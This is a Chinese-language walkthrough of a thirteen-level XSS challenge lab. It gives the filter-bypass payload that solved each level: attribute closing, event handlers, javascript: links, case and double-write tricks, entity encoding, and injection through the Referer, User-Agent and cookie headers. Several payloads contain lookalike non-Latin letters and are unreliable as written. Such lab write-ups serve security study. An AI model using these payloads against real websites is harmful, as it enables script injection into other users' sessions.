xss挑战
1.url
输入点在url,输出点在页面回显
在url输入payload
<script>alert(1)</script>
2.构造闭合标签
输入点为url或页面搜索框,输出点为页面回显
尝试
<script>alert(1)</script>
未成功
查看页面源代码,在红线处尝试构造闭合标签
修改为如下即可
<input name=keyword value=""><script>alert(1)</script><!--">
则payload应为
"><script>alert(1)</script><!--
成功
3.js事件,单引号闭合
输入点在url和搜索框,回显在页面
尝试
<script>alert(1)</script>
未成功
查看页面源代码:
<input name=keyword value='<script>alert(1)</script>'>
很明显注入的<和>变成了<和>,那么这里尝试使用事件来触发
使用onmouseover(),当鼠标滑过时触发
未成功,查看页面源代码:
<input name=keyword value='οnmοuseοver=alert(123)'>
构造闭合
<input name=keyword value=''onmouseover='alert(123)'>
故而payload为
'οnmοuseοver='alert(123)
4.js事件,双引号闭合
<script>alert(1)</script>
未成功
查看页面源代码,发现<和>被过滤
<input name=keyword value="scriptalert(1)/script">
尝试url编码
%3cscript%3ealert(1)%3c/script%3e
未成功,url编码也被过滤了
尝试事件onmouseover
'οnmοuseοver='alert(123)
未成功,查看源代码
<input name=keyword value="'οnmοuseοver='alert(123)">
可以看到,此处onmouseover并没有成为独立的标签属性,故此处进行构造,使用双引号闭合
<input name=keyword value=""onmouseover="alert(123)">
故而payload应为:
"οnmοuseοver="alert(123)
成功
5.a标签超链接
查看源代码
尝试
<script>alert(1)</script>
scrip似乎被替换为了scr_ipt
<input name=keyword value="<scr_ipt>alert(1)</script>">
那么尝试onmouseover
<input name=keyword value=""onmouseover="alert(123)">
onmouseover也被替换了
尝试onerror
<input name=keyword value=""><img src=1 onerror=alert(1)><!-->
on_error也被过滤了
尝试a标签
<input name=keyword value=""><a href=javascript:alert(1)>1</a><!--">
payload应为
"><a href=javascript:alert(1)>1</a><!--
成功
6.a标签大小写绕过
<script>alert(1)</script>
<img src=1 onerror=alert(1)>
<a href=javascript:alert(1)>
均被过滤
尝试onclick
和onfocus
均被过滤
因为html标签不区分大小写,而js区分大小写,故而对于a标签中href的过滤尝试使用大小写绕过
<a HREf=jaVASCript:alert(1)>
无过滤
构造闭合
<input name=keyword value=""><a HREf=jaVASCript:alert(1123)>1</a>">
"><a HREf=jaVASCript:alert(1123)>1</a>
成功
7.双写绕过
尝试常用payload后,发现关键字几乎都被替换为空,那么尝试双写
<input name=keyword value="<svg load=alert(1)>">
<script>被替换为了<>
<input name=keyword value=""><scscriptript>alert(123)</scscriptript>">
"><scscriptript>alert(123)</scscriptript>"
成功
8.html实体编码
尝试第7题payload
"><scscriptript>alert(123)</scscriptript>"
script被替换为scr_ipt
尝试a标签大小写
<a HREf=jaVASCript:alert(1)>
大小写也被过滤
此处将script
转为html实体编码
javascript:alert(123)
将payload放入输入框,然后添加,点友情链接,此处只能这么操作,浏览器execute无法携带submit参数
9.关键字格式过滤
尝试第8题payload,提示不合法
尝试javascript,发现似乎并没有过滤
尝试http://格式,判断此处是从链接的开头是否为http来判断是否合法的,而且还是过滤了script
那么尝试在第8题payload上添加http://
http://javascript:alert(123)
成功绕过过滤,但是没有触发alert
将http://改为注释
<a href="http://javascript:alert(123)">
<a href="javascript:alert(123)//http://">
payload
javascript:alert(123)//http://
成功
10.标签注入修改标签类型
尝试第9题payload
发现似乎也有过滤,并且页面有很多隐藏标签,这些标签有name值,那么就可以携带get参数,可以修改属性
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
尝试三个name后,发现只有t_sort标签可以通过get携带参数
尝试
<input name="t_sort" value=""onmouseover="alert(123)" type="button">
payload
?t_sort="οnmοuseοver="alert(123)" type="button"
hidden属性发生改变,成功
11.修改请求头Referer
直接查看页面,发现与上一题类似,多了一个name为t_ref的隐藏标签
尝试get携带参数
与上一题相同,尝试上一题payload
?t_sort="οnmοuseοver="alert(123)" type="button
hidden属性并没有发生改变,未成功
查看页面源代码,发现双引号被过滤
因为此处的第一个必须是双引号,所以此处似乎无法使用之前的方法
使用burpsuite在请求头中添加Referer
"οnclick="alert(1)" type="button
然后转发
标签属性被成功修改为按钮,事件也被成功添加
12.修改请求头User-Agent重放
与前面类似,有隐藏标签,新的隐藏标签name为t_ua
,值很眼熟
值为user-agent的值
那么就可以尝试修改请求头中user-agent的值重放
payload
"onclick="alert(1)" type="button
成功
13.修改请求头cookie值
同上面几题,看名称似乎和cookie有关
新标签的值是从user这个值获取的,而user是从cookie中获取的
那么就尝试修改cookie中的user值重放
payload
"onclick="alert(1)" type="button
成功